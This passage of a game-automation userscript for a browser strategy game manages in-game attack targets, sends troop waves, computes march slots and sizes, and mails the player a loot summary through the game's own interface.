		helpText += '<TR><TD>10</td><TD>1199 MM + 1Cat</td><TD>35000 archers + 2500 Cat</td><TD>1st Wave + 6 Archer + 50 Cat</td><TD>10</td></tr></table>';
    
		var pop = new pbPopup ('giftHelp', 0, 0, 650, 430, true);
		pop.centerMe (mainPop.getMainDiv());
		pop.getMainDiv().innerHTML = helpText;
		pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot Help: Auto-Attack!</b></center>';
		pop.show (true);
	},

	/** Add crest route **/
	addCrestRoute : function () {
		var t = Tabs.Attack;
		if(CrestOptions.X == "" || CrestOptions.Y == "") { alert("Please enter co-ords"); return; }
		if (!$('pbcrest_rnd1').checked && !$('pbcrest_rnd2').checked) { alert("No attack round selected"); return; }

		var troops = 0;
		if ($('pbcrest_rnd1').checked) {
      		for (var ui in unsafeWindow.cm.UNIT_TYPES){
				i = unsafeWindow.cm.UNIT_TYPES[ui];
				if (t.trooparray[i]) {
					troops = troops + parseIntNan(CrestOptions["R1"+t.trooparray[i]]);
				}
			}
			if (troops == 0) { alert("Please enter first wave troops"); return; }
		}	

		troops = 0;
		if ($('pbcrest_rnd2').checked) {
      		for (var ui in unsafeWindow.cm.UNIT_TYPES){
				i = unsafeWindow.cm.UNIT_TYPES[ui];
				if (t.trooparray[i]) {
					troops = troops + parseIntNan(CrestOptions["R2"+t.trooparray[i]]);
				}	
			}
			if (troops == 0) { alert("Please enter second wave troops"); return; }
		}	
		
		var CrestLength = CrestData.length;
		
		CrestData[CrestLength] = new CrestFunc(CrestOptions);
		saveCrestData();
		document.getElementById('pbNewAttack').style.background = '#99FF99';
		setTimeout(function() {(document.getElementById('pbNewAttack').style.background = '');}, 1000);
		
    },
    
	addSearchAttacks : function () {
		if(Tabs.Search.dat.length < 1) { alert("Search tab contains no search results"); return; }

		var t = Tabs.Attack;
		for(i = 0; i < Tabs.Search.dat.length;i++) {
			var LCO = CrestOptions;
			LCO.X = Tabs.Search.dat[i][0];
			LCO.Y = Tabs.Search.dat[i][1];
			CrestData.push (new CrestFunc(LCO));
		};
        saveCrestData();
		t.showCrestRoute();
	},	

	MassDelTargets : function () {
		var t = Tabs.Attack;
		var x = document.getElementById('pbattdelcity').value;
		for(i = Number(CrestData.length-1); i > -1 ;i--)
			if(CrestData[i].CrestCity == x) 
				CrestData.splice(i,1);
		saveCrestData();
		t.showCrestRoute();
	},

	MassRelTargets : function () {
		var t = Tabs.Attack;
		var x = document.getElementById('pbattdelcity').value;
		var y = document.getElementById('pbattrelcity').value;
		if (x != y) {
			for(i = Number(CrestData.length-1); i > -1 ;i--)
				if(CrestData[i].CrestCity == x) 
					CrestData[i].CrestCity = y;
			saveCrestData();
			t.showCrestRoute();
		}	
	},

	/** Show Crest Targets **/
	showCrestRoute : function () {
		var t = Tabs.Attack;
		var popCrestTargets = null;
		t.popCrestTargets = new pbPopup('pbShowCrestTargets', 0, 0, 1200, 485, true, function() {clearTimeout (1000);t.popCrestTargets=null;});
		var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowCrestTargets" id="pbCrestTargets">';     
		t.popCrestTargets.getMainDiv().innerHTML = '</table></div>' + m;
		t.popCrestTargets.getTopDiv().innerHTML = '<TD><CENTER><B>Attack Targets</center></td>';
		t.paintCrestTargets();
		t._addTabHeader();
		t.popCrestTargets.show(true);
    },
    
	/** add header **/
	_addTabHeader : function () {
		var row = document.getElementById('pbCrestTargets').insertRow(0);
		row.vAlign = 'top';
		row.insertCell(0).innerHTML = "City/Target";
		row.insertCell(1).innerHTML = "<center>&nbsp;Paused&nbsp;</center>";
		row.insertCell(2).innerHTML = "Wave #";
		row.insertCell(3).innerHTML = translate("Supp");
		row.insertCell(4).innerHTML = translate("MM");
		row.insertCell(5).innerHTML = translate("Scout");
		row.insertCell(6).innerHTML = translate("Pike");
		row.insertCell(7).innerHTML = translate("Sword");
		row.insertCell(8).innerHTML = translate("Arch");
		row.insertCell(9).innerHTML = translate("Cav");
		row.insertCell(10).innerHTML = translate("HC");
		row.insertCell(11).innerHTML = translate("Wags");
		row.insertCell(12).innerHTML = translate("Balls");
		row.insertCell(13).innerHTML = translate("Rams");
		row.insertCell(14).innerHTML = translate("Cats");
		row.insertCell(15).innerHTML = translate("Blood");
		row.insertCell(16).innerHTML = translate("Exec");
		row.insertCell(17).innerHTML = translate("Siege");
		row.insertCell(18).innerHTML = translate("Flame");
		row.insertCell(19).innerHTML = translate("Hussar");
		row.insertCell(20).innerHTML = translate("Halb");
		row.insertCell(21).innerHTML = translate("Onager");
		row.insertCell(22).innerHTML = translate("Sabo");
		row.insertCell(23).innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;";
	},

	/** paintCrestTargets **/
	paintCrestTargets : function () {
		t = Tabs.Attack;

		for(var i = 0; i < CrestData.length; i++) {
			if (t.checkRoundExists(2,i))
				t._addTabCrest(i, "Attack: " + CrestData[i].X + "," + CrestData[i].Y, " ","Wave 2", CrestData[i].R2ST, CrestData[i].R2MM, CrestData[i].R2Scout, CrestData[i].R2Pike, CrestData[i].R2Sword, CrestData[i].R2Arch, CrestData[i].R2LC, CrestData[i].R2HC, CrestData[i].R2SW, CrestData[i].R2Ball, CrestData[i].R2Ram, CrestData[i].R2Cat, CrestData[i].R2Blood, CrestData[i].R2Exec, CrestData[i].R2Siege, CrestData[i].R2Flame, CrestData[i].R2Huss, CrestData[i].R2Halb, CrestData[i].R2Onager, CrestData[i].R2Sabo, " ");
			else
				t._addTabCrest(i, "Attack: " + CrestData[i].X + "," + CrestData[i].Y, " ","Wave 2", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ");
			if (t.checkRoundExists(1,i))
				t._addTabCrest(i, CrestData[i].CrestCity, "Check", "Wave 1", CrestData[i].R1ST, CrestData[i].R1MM, CrestData[i].R1Scout, CrestData[i].R1Pike, CrestData[i].R1Sword, CrestData[i].R1Arch, CrestData[i].R1LC, CrestData[i].R1HC, CrestData[i].R1SW, CrestData[i].R1Ball, CrestData[i].R1Ram, CrestData[i].R1Cat, CrestData[i].R1Blood, CrestData[i].R1Exec, CrestData[i].R1Siege, CrestData[i].R1Flame, CrestData[i].R1Huss, CrestData[i].R1Halb, CrestData[i].R1Onager, CrestData[i].R1Sabo, "Delete");
			else	
				t._addTabCrest(i, CrestData[i].CrestCity, "Check", "Wave 1", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", "Delete");
			t._addTabCrest(i, " "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," ", " ");
		}

	},

	/** Add Tab Crest **/
	_addTabCrest : function (QueID, col0, col1, col2, col3, col4, col5, col6, col7, col8, col9, col10, col11, col12, col13, col14, col15, col16, col17, col18, col19,col20,col21,col22,col23) {
		var t = Tabs.Attack;
		var row = document.getElementById('pbCrestTargets').insertRow(0);

		for (var i = 0; i <= 23; i++) {
			if (i == 23 && col23 == "Delete") {
				row.insertCell(i).innerHTML = "<a id=pbCrestDel_" + QueID + " value=" + i + ">Delete</a>";
				document.getElementById('pbCrestDel_' + QueID).addEventListener('click', function(){t.cancelCrestTarget(QueID);}, false);
			} else if (col1 == "Check" && i == 1) {
				row.insertCell(i).innerHTML = "<center><INPUT id=pbCrestPause_"+ QueID +" type=checkbox "+(CrestData[QueID].Paused?'CHECKED':'')+"></center>";
				document.getElementById('pbCrestPause_' + QueID).addEventListener('click', function(){t.pauseCrestTarget(this,QueID);}, false);
			} else if (col23 == "Delete" && i == 0) {
				row.insertCell(i).innerHTML = '<b>'+(Cities.byID[col0] ? Cities.byID[col0].name : '')+'</b>';
			} else {
				row.insertCell(i).innerHTML = (eval("col" + i)?eval("col" + i):'0') + "&nbsp;";
			}
		}
	},

	/** Cancel Crest Target **/
	cancelCrestTarget : function (QueID) {
		var t = Tabs.Attack;
		var queueId = parseInt(QueID);
		CrestData.splice(queueId, 1);
		saveCrestData();
		t.showCrestRoute();
	},
	
	pauseCrestTarget : function (cb,QueID) {
		var t = Tabs.Attack;
		var queueId = parseInt(QueID);
		CrestData[queueId].Paused = cb.checked;
		saveCrestData();
		t.showCrestRoute();
	},

	getAtkKnight : function(cityID){
		var t = Tabs.Attack;
		t.knt = new Array();
		for (k in Seed.knights[cityID]){
			if (Seed.knights[cityID][k]["knightStatus"] == 1 && Seed.leaders[cityID]["resourcefulnessKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["politicsKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["combatKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["intelligenceKnightId"] != Seed.knights[cityID][k]["knightId"]){
				t.knt.push ({
					Name:   Seed.knights[cityID][k]["knightName"],
					Combat:    parseInt(Seed.knights[cityID][k]["combat"]),
					ID:        Seed.knights[cityID][k]["knightId"],
				});
			}
		}
		t.knt = t.knt.sort(function sort(a,b) {a = parseInt(a['Combat']);b = parseInt(b['Combat']);return a == b ? 0 : (a > b ? -1 : 1);});
	},
   
	sendMarch: function(p,callback,r,retry, CrestDataNum){
		var t = Tabs.Attack;
		March.addMarch(p, function(rslt){
			if(rslt.ok){
				if(r==1){
					Options.Crest1Count++;
					r = 2;
					CrestData[CrestDataNum].curRound = 2;
					var now = new Date().getTime()/1000.0;
					now = now.toFixed(0);
					CrestData[CrestDataNum].lastRoundOne = now;
					setTimeout (function(){callback(r,0,parseInt(CrestDataNum));}, (Options.Crestinterval*1000));
				} else {
					Options.Crest2Count++;
			if(CrestData[CrestDataNum].isWild){
					setTimeout (function(){callback(r,0,parseInt(CrestDataNum));}, (Options.Crestinterval*1000));
				} else
					setTimeout (function(){callback(r,0,parseInt(CrestDataNum+1));}, (Options.Crestinterval*1000));
				}
				saveCrestData();
			} else { //onFailure
				setTimeout (function(){callback(r,0,parseInt(CrestDataNum)+1);}, (Math.random()*1000)+(Options.Crestinterval*1000));
			}
		});
	},
    
	abandonWilderness: function(){
		var t = Tabs.Attack;      
		if (!Options.crestRunning) return;
		toploop:
		for(m in CrestData) {
			var cid = CrestData[m].CrestCity;
			var cityID = 'city' + cid;
			if(CrestData[m].isWild){
				for (var k in Seed.wilderness[cityID] ){
					if (Seed.wilderness[cityID][k]['xCoord']==CrestData[m].X && Seed.wilderness[cityID][k]['yCoord']==CrestData[m].Y) {
						
						var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
						params.tid=Seed.wilderness[cityID][k]['tileId'];
						params.cid=cid;
						params.x=Seed.wilderness[cityID][k]['xCoord'];
						params.y=Seed.wilderness[cityID][k]['yCoord'];
						new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/abandonWilderness.php" + unsafeWindow.g_ajaxsuffix, {
							method: "post",
							parameters: params,
							loading: true,
							onSuccess:function(transport){
								var rslt=eval("("+transport.responseText+")");
								if (rslt.ok) {
									t.error_code = 0;  
									if (rslt.returningMarches) {
										var cities = Object.keys(rslt.returningMarches);
										for (var i = 0; i < cities.length; i++) {
											for (var j = 0; j < rslt.returningMarches[cities[i]].length; j++) {
												var cid = cities[i].split("c")[1];
												var mid = rslt.returningMarches[cities[i]][j];
												var march = Seed.queue_atkp["city" + cid]["m" + mid];
												if (march) {
													var marchtime = Math.abs(parseInt(march.destinationUnixTime) - parseInt(march.marchUnixTime));
													var ut = unsafeWindow.unixtime();
													Seed.queue_atkp["city" + cid]["m" + mid].destinationUnixTime = ut;
													Seed.queue_atkp["city" + cid]["m" + mid].marchUnixTime = ut - marchtime;
													Seed.queue_atkp["city" + cid]["m" + mid].returnUnixTime = ut + marchtime;
													Seed.queue_atkp["city" + cid]["m" + mid].marchStatus = 8
												}
											}
										}
									}
									if(rslt.updateSeed){unsafeWindow.update_seed(rslt.updateSeed)};
									if (Object.keys(Seed.wilderness[cityID]).length == 1) {
										Seed.wilderness[cityID] = []
									} else {
										delete Seed.wilderness[cityID]["t"+params.tid];
									}
								} else {
									if (rslt.error_code != 401) {
										t.error_code = rslt.error_code;
									}
								}              
							},
							onFailure: function () {}
						});
						break toploop;
					}
				}
			}
		};
	},
    
	Rounds : function (r, retry, CrestDataNum) {
		var t = Tabs.Attack;
		clearTimeout(t.timer);

		if (!Options.crestRunning) return;
		if (CrestData.length == 0) {logit('No crest targets set up');return;};
		if (CrestDataNum >= CrestData.length) {
			CrestDataNum = 0;
			if(Options.CrestRand){
				// if we're showing the routes when this happens, need to stop!!! otherwise delete deletes the wrong one..
				var ShowingRoutes = false;
				if (t.popCrestTargets) {ShowingRoutes = true; t.popCrestTargets.show(false); }
				//As per https://osric.com/chris/accidental-developer/2012/07/javascript-array-sort-random-ordering/ sort was not used, this is used instead to get true random results.
				var n = CrestData.length;
				var tempArr = [];
				for ( q = 0; q < n-1; q++ )
				tempArr.push(CrestData.splice(Math.floor(Math.random()*CrestData.length),1)[0]);
				tempArr.push(CrestData[0]);
				CrestData=tempArr;
				saveCrestData();
				// if we were showing attacks, show them again...
				if (ShowingRoutes) {t.showCrestRoute();}
			};
		};
		r = (typeof CrestData[CrestDataNum].curRound === 'undefined') ? 1 : CrestData[CrestDataNum].curRound;
		cityID = 'city' + CrestData[CrestDataNum].CrestCity;
		retry++;
		new t.abandonWilderness();

		if (CrestData[CrestDataNum].Paused) {
//			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},2000);
			return;
		};
		
		t.UpdateMercTarget();
		var CrestMercCurrent = parseIntNan(Seed.items["i"+Options.CrestMercItem]);
		if (CrestData[CrestDataNum].isMerc && (CrestMercCurrent >= Options.CrestMercTarget)) {
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			return;
		}

		if (!t.checkCityTroops(r,CrestDataNum)) {
//			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},2000);
			return;
		};
			
		var march_slots = Number(Number(March.getEmptySlots(cityID.split("city")[1]))-Number(Options.CrestSlots));
		if (march_slots < 1) {
//			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},2000);
			return;
		};
        
		t.getAtkKnight(cityID);
		if  (t.knt.toSource() == "[]") {
//			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},2000);
			return;
		}
		var kid = t.knt[0].ID;

		// if no round 1 go straight for round 2
		if (!t.checkRoundExists(1,CrestDataNum)) {
			r=2;
			CrestData[CrestDataNum].curRound = 2;
		}else {
			// do we need another round 1 yet?
			var now = new Date().getTime()/1000.0;
			now = now.toFixed(0);
			if (CrestData[CrestDataNum].RoundOne)
				if (now > (parseInt(CrestData[CrestDataNum].lastRoundOne) + 90)) {
					r=1;
					CrestData[CrestDataNum].curRound =1;
				}
		}
		if (r == 2) CrestData[CrestDataNum].lastRoundTwo = now;
		saveCrestData();

		// final check for not marching zero troops...
		if (!t.checkRoundExists(r,CrestDataNum)) {
			t.timer = setTimeout(function(){ t.Rounds(1,retry,parseInt(CrestDataNum)+1);},Options.Crestinterval*1000);
			return;
		}

		switch (r) {
			case 1:
				if ((march_slots) < 2) {
					t.timer = setTimeout(function(){ t.Rounds(1,retry,CrestDataNum+1);},Options.Crestinterval*1000);
					return;
				}
				var params    = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
				params.cid    = CrestData[CrestDataNum].CrestCity;
				params.type   = 4;
				params.kid    = kid;
				params.xcoord = CrestData[CrestDataNum].X;
				params.ycoord = CrestData[CrestDataNum].Y;

				if (now < (parseInt(CrestData[CrestDataNum].lastRoundOne) + 500) && CrestData[CrestDataNum].isWild) {
					params.u2 = (parseIntNan(CrestData[CrestDataNum].R1MM) / 10);
					params.u2 = params.u2.toFixed(0);
					if (params.u2 < (parseIntNan(CrestData[CrestDataNum].R1MM) / 10))
						params.u2++;
					} else {
						params.u2 = parseIntNan(CrestData[CrestDataNum].R1MM);
				}
                
				params.u1     = parseIntNan(CrestData[CrestDataNum].R1ST);
				//params.u2     = parseIntNan(CrestData[CrestDataNum].R1MM);
				params.u3     = parseIntNan(CrestData[CrestDataNum].R1Scout);
				params.u4     = parseIntNan(CrestData[CrestDataNum].R1Pike);
				params.u5     = parseIntNan(CrestData[CrestDataNum].R1Sword);
				params.u6     = parseIntNan(CrestData[CrestDataNum].R1Arch);
				params.u7     = parseIntNan(CrestData[CrestDataNum].R1LC);
				params.u8     = parseIntNan(CrestData[CrestDataNum].R1HC);
				params.u9     = parseIntNan(CrestData[CrestDataNum].R1SW);
				params.u10    = parseIntNan(CrestData[CrestDataNum].R1Ball);
				params.u11    = parseIntNan(CrestData[CrestDataNum].R1Ram);
				params.u12    = parseIntNan(CrestData[CrestDataNum].R1Cat);
				params.u13    = parseIntNan(CrestData[CrestDataNum].R1Blood);
				params.u14    = parseIntNan(CrestData[CrestDataNum].R1Exec);
				params.u15    = parseIntNan(CrestData[CrestDataNum].R1Siege);
				params.u16    = parseIntNan(CrestData[CrestDataNum].R1Flame);
				params.u17    = parseIntNan(CrestData[CrestDataNum].R1Huss);
				params.u18    = parseIntNan(CrestData[CrestDataNum].R1Halb);
				params.u21    = parseIntNan(CrestData[CrestDataNum].R1Onager);
				params.u22    = parseIntNan(CrestData[CrestDataNum].R1Sabo);
                
				t.sendMarch(params,t.Rounds,r,retry, CrestDataNum);
				break;
			default:
				var params    = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
				params.cid    = CrestData[CrestDataNum].CrestCity;
				params.type   = 4;
				params.kid    = kid;
				params.xcoord = CrestData[CrestDataNum].X;
				params.ycoord = parseIntNan(CrestData[CrestDataNum].Y);
				params.u1     = parseIntNan(CrestData[CrestDataNum].R2ST);
				params.u2     = parseIntNan(CrestData[CrestDataNum].R2MM);
				params.u3     = parseIntNan(CrestData[CrestDataNum].R2Scout);
				params.u4     = parseIntNan(CrestData[CrestDataNum].R2Pike);
				params.u5     = parseIntNan(CrestData[CrestDataNum].R2Sword);
				params.u6     = parseIntNan(CrestData[CrestDataNum].R2Arch);
				params.u7     = parseIntNan(CrestData[CrestDataNum].R2LC);
				params.u8     = parseIntNan(CrestData[CrestDataNum].R2HC);
				params.u9     = parseIntNan(CrestData[CrestDataNum].R2SW);
				params.u10    = parseIntNan(CrestData[CrestDataNum].R2Ball);
				params.u11    = parseIntNan(CrestData[CrestDataNum].R2Ram);
				params.u12    = parseIntNan(CrestData[CrestDataNum].R2Cat);
				params.u13    = parseIntNan(CrestData[CrestDataNum].R2Blood);
				params.u14    = parseIntNan(CrestData[CrestDataNum].R2Exec);
				params.u15    = parseIntNan(CrestData[CrestDataNum].R2Siege);
				params.u16    = parseIntNan(CrestData[CrestDataNum].R2Flame);
				params.u17    = parseIntNan(CrestData[CrestDataNum].R2Huss);
				params.u18    = parseIntNan(CrestData[CrestDataNum].R2Halb);
				params.u21    = parseIntNan(CrestData[CrestDataNum].R2Onager);
				params.u22    = parseIntNan(CrestData[CrestDataNum].R2Sabo);
				t.sendMarch(params,t.Rounds,r,retry, CrestDataNum);
				break;
		}
	},

	toggleCrestState: function(obj) {
		var t = Tabs.Attack;
		obj=document.getElementById('Cresttoggle');
		if (Options.crestRunning == true) {
			Options.crestRunning = false;
			obj.value = "Attack = OFF";
			if (document.getElementById('CrestToggleTab')) {document.getElementById('CrestToggleTab').innerHTML = '<span style="color: #CCC">Attack: Off</span>';}
			saveOptions();
		} else {
			Options.crestRunning = true;
			obj.value = "Attack = ON";
			if (document.getElementById('CrestToggleTab')) {document.getElementById('CrestToggleTab').innerHTML = '<span style="color: #FFFF00">Attack: On</span>';}
			t.sendCrestReport();
			t.timer = setTimeout(function(){ t.Rounds(1,0,0);}, Options.Crestinterval*1000);
		}
	},

	checkCityTroops : function (round,CrestDataNum) {
		var t = Tabs.Attack;
		var result = true;
      	for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			if (t.trooparray[i]) {
				var needed = 0;
				for (var r=round;r<=2;r++)
					needed = needed + parseIntNan(CrestData[CrestDataNum]["R"+r+t.trooparray[i]]);
				result = (result && (parseIntNan(Seed.units[cityID]['unt'+i]) >= needed));
				if (!result) {return result;}
			}	
		}
		return result;
	},

   	checkRoundExists : function (round,CrestDataNum) {
		var t = Tabs.Attack;
		var troops = 0;
   		for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			if (t.trooparray[i]) {
				troops = troops + parseIntNan(CrestData[CrestDataNum]["R"+round+t.trooparray[i]]);
			}	
		}
		return (troops != 0);
	},

	sendCrestReport: function(){
		var t = Tabs.Attack;
		if (!Options.crestreport || !Options.crestRunning) {
			return;
		};	

		var now = new Date().getTime()/1000.0;
		now = now.toFixed(0);
        
		if (now < (parseInt(Options.LastCrestReport)+(Options.CrestMsgInterval*60*60)))
			return;

		var total = 0;
		var message = 'Attack Report for '+ Options.CrestMsgInterval +' hours of attacking (or since last report) %0A';
		message += 'Numbers of 1st Wave sent: '+ Options.Crest1Count +'%0A';
		message += 'Numbers of 2nd Wave sent: '+ Options.Crest2Count +'%0A';
		message +='%0A';
		message += 'Miscellaneous Items: %0A';

		for (crest in Options.CrestList) {Options.CrestList[crest] = 0; }
		for (z in AttackOptions.ItemsFoundCr) {

			if (!isNaN(Options.CrestList["i"+z])) // if item is a crest or seal...
				Options.CrestList["i"+z] = AttackOptions.ItemsFoundCr[z];
			else {
				message += unsafeWindow.g_js_strings.commonstr.found+' '+unsafeWindow.ksoItems[z].name+' x '+AttackOptions.ItemsFoundCr[z]+'%0A';
			}
		}
		message +='%0A';
		message += 'Crest Stats: %0A';
		for (crest in Options.CrestList) {
			if (Options.CrestList[crest] > 0)
				message += unsafeWindow.itemlist[crest]['name'] +' x '+ Options.CrestList[crest] +'%0A';
			total += (Options.CrestList[crest]);
		}
		message += 'Total Crests Found: '+ total +'%0A';

		message +='%0A';
		message += 'Jewel Stats: %0A';
		var itemcount = 0;
		for (z in AttackOptions.JewelItemsFoundCr){
			itemcount += AttackOptions.JewelItemsFoundCr[z];
			message += JWQuality[z-1]+' Jewel x '+AttackOptions.JewelItemsFoundCr[z]+'%0A';
		}
		message +='Total Jewels Found: '+itemcount+'%0A';

		message +='%0A';
		message += 'Throne Stats: %0A';
		var itemcount = 0;
		for (z in AttackOptions.ThroneItemsFoundCr){
			itemcount += AttackOptions.ThroneItemsFoundCr[z].amount;
			message += Quality[AttackOptions.ThroneItemsFoundCr[z].quality]+' '+AttackOptions.ThroneItemsFoundCr[z].type+' x '+AttackOptions.ThroneItemsFoundCr[z].amount+'%0A';
		}
		message +='Total Throne Room Items Found: '+itemcount+'%0A';

		message +='%0A';
		message += 'Champion Stats: %0A';
		var itemcount = 0;
		for (z in AttackOptions.ChampItemsFoundCr){
			itemcount += AttackOptions.ChampItemsFoundCr[z].amount;
			message += Quality[AttackOptions.ChampItemsFoundCr[z].quality]+' '+AttackOptions.ChampItemsFoundCr[z].type+' x '+AttackOptions.ChampItemsFoundCr[z].amount+'%0A';
		}
		message +='Total Champion Equipment Found: '+itemcount+'%0A';

		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.emailTo = Seed.player['name'];
		params.subject = "Attack Overview";
		params.message = message;
		params.requestType = "COMPOSED_MAIL";
        
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			onSuccess: function (message) {
				var rslt = eval("(" + message.responseText + ")");
				if (rslt.ok) {
					Options.Crest1Count = 0;
					Options.Crest2Count = 0;
					saveOptions();
					AttackOptions.ItemsFoundCr = {};
					AttackOptions.ThroneItemsFoundCr = {};
					AttackOptions.ChampItemsFoundCr = {};
					AttackOptions.JewelItemsFoundCr = {};
					saveAttackOptions();
				}
			},
			onFailure: function () {
			},
		});

		Options.LastCrestReport = now;
		saveOptions();
	},  

	hide : function (){
		var t = Tabs.Attack;
	},

	show : function (){
	},
}

/****** End of Cresting Tab *******/

/****** Global march function ****/

var March = {
    tt : null,
    profiler : null,
    currentrequests : 0,
    queue : [],
    lastattack : null,
    timer : null,
    waittime:0,
  
    //March queue system
    addMarch : function (params, callback){
        var t = this;
        var opts = {params:params, callback:callback};
        if(t.currentrequests < 5){
            t.sendMarch(opts.params, opts.callback);
        } else {
            t.queue.push(opts);
			actionLog(t.getMarchType(opts.params.type)+' added to march queue. Queue now contains '+ t.getQueueLength() +' marches.');

            //setTimeout(t.loop, 2000);
        }
    },
    loop : function (){
        var t = this;
        if(t.currentrequests < 5){
            var opts = t.queue.shift();
			if(opts) {
				t.sendMarch(opts.params, opts.callback);
				actionLog(t.getMarchType(opts.params.type)+' triggered from march queue. Queue now contains '+ t.getQueueLength() +' marches.');
			}	
		}
    },
    getMarchType : function (mt){
		switch (parseIntNan(mt)) {
			case 1: return 'Transport';
			case 2: return 'Reinforcement';
			case 3: return 'Scout';
			case 4: return 'Attack';
			case 5: return 'Reassign';
			default: return 'March';
        }
	},
    getQueueLength : function (){
        var t = this;
        return t.queue.length;
    },
    //End march queue
   
   //Call March.RallyPoint(cityId) to get all values
   RallyPoint : function (cityId){
      var t = this;
      var ret = {};
      ret.level = t.getRallyPointLevel(cityId);
      ret.maxSlots = t.getTotalSlots(cityId);
      ret.marching = t.getMarchSlots(cityId);
      ret.emptySlots = t.getEmptySlots(cityId);
      ret.maxSize = t.getMaxSize(cityId);
      return ret;
   },
   
   //Rallypoint
   getRallypointLevel : function (cityId){
        var t = this;
      cityId = "city"+cityId;
      rallypointlevel = 0;
      for (var o in Seed.buildings[cityId]){
         var buildingType = parseInt(Seed.buildings[cityId][o][0]);
         var buildingLevel = parseInt(Seed.buildings[cityId][o][1]);
         if (buildingType == 12) rallypointlevel=parseInt(buildingLevel);
      }
      return rallypointlevel;
   },
   getTotalSlots : function (cityId){
        var t = this;
      var ascended = t.getAscendedStats(cityId);
      var rallypointlevel = t.getRallypointLevel(cityId);
      var slots = rallypointlevel; //Set default number of slots to rallypointlevel
      if(slots == 12)slots = 11;// a level 12 rallypoint only allows for 11 marches.  the bonus from 11 to 12 is increased army size.
      if(ascended.isPrestigeCity){
//         switch(ascended.prestigeLevel){//any ascended city has a +3 slot bonus regardless of level.
//            case 1:
//               slots += 3;
//               break;
//            case 2:
//               slots += 3;
//               break;
//            case 3:
//               slots += 3;
//               break;
//            default:
//               //Do nothing
//               break;
//         }
	 slots +=3;
      }
      return slots;
   },
   getMarchSlots : function (cityId){
        var t = this;
      cityId = "city"+cityId;
      var slots=0;
	  var now = unixTime();
      if (Seed.queue_atkp[cityId] != undefined){
         for(var k in Seed.queue_atkp[cityId]){
            var m = Seed.queue_atkp[cityId][k];
            if(m.marchType == 9) {
               if(m.botMarchStatus < 3 || m.botMarchStatus > 9)slots++; //If raid is stopped take it as empty slot
            } else {
				if (m.returnUnixTime > now){
					slots++;          
				}	
            }
         }
         if(Seed.queue_atkp[cityId].toSource() == "[]")
            slots = 0;
      } else {
            slots=0;
      }
      return slots;
   },
   getEmptySlots : function (cityId){
        var t = this;
      var slots = t.getTotalSlots(cityId);
      slots -= t.getMarchSlots(cityId);
      if(slots < 0) //For the odd chance more waves get sent out than allowed
         slots = 0;
      return slots;
   },
   getMaxSize : function (cityId){
      var t = this;
      var rallypointlevel = getCityBuilding(cityId, 12).maxLevel;
      var ascended = t.getAscendedStats(cityId);
      var buff = 1;
      var max = 0;
      var now = unixTime();
      if (Seed.playerEffects.aurasExpire) {
         if (Seed.playerEffects.aurasExpire > now) {
            buff += 0.15
         }
      }
      if (Seed.playerEffects.auras2Expire) {
         if (Seed.playerEffects.auras2Expire > now) {
            buff += 0.3
         }
      }
      var tr = Math.floor(equippedthronestats(66));
      if (tr>unsafeWindow.cm.thronestats.boosts.MarchSize.Max)tr=unsafeWindow.cm.thronestats.boosts.MarchSize.Max;
      if(tr > 0)buff+=(tr/100);
      
      if(ascended.isPrestigeCity){
         var b = ascended.prestigeLevel;
         var r = unsafeWindow.cm.WorldSettings.getSetting("ASCENSION_RALLYPOINT_BOOST"),
                m = JSON.parse(r),
                u = m.values[b - 1][1],
                k = parseFloat(u);
            buff *= k
            if(unsafeWindow.seed.cityData.city[cityId].prestigeInfo.blessings.indexOf(207) != -1)buff *= 1.1;
      }
      switch(rallypointlevel){
         case 11:
            max = 150000 * buff;
            break;
         case 12:
            max = 200000 * buff;
            break;
         default:
            max = (rallypointlevel * 10000) * buff;
            break;
      }
//      return Math.ceil(max); // haven't been able to configure game to determine if this should be floor or ceil
      return Math.floor(max+0.0001); 
   },//changed to ceil Apr 8/13.  and added debug log to catch errors -Baos
     // changed to floor after adding 0.0001, consistent with tools treatment 7/30/2013
   getAscendedStats : function (cityId){
      var t = this;
      var ret = {};
      if(Seed.cityData.city[cityId].isPrestigeCity){
         ret.isPrestigeCity = true;
         ret.prestigeLevel = parseInt(Seed.cityData.city[cityId].prestigeInfo.prestigeLevel);
         ret.prestigeType = parseInt(Seed.cityData.city[cityId].prestigeInfo.prestigeType);
         ret.blessings = parseInt(Seed.cityData.city[cityId].prestigeInfo.blessings);
      } else {
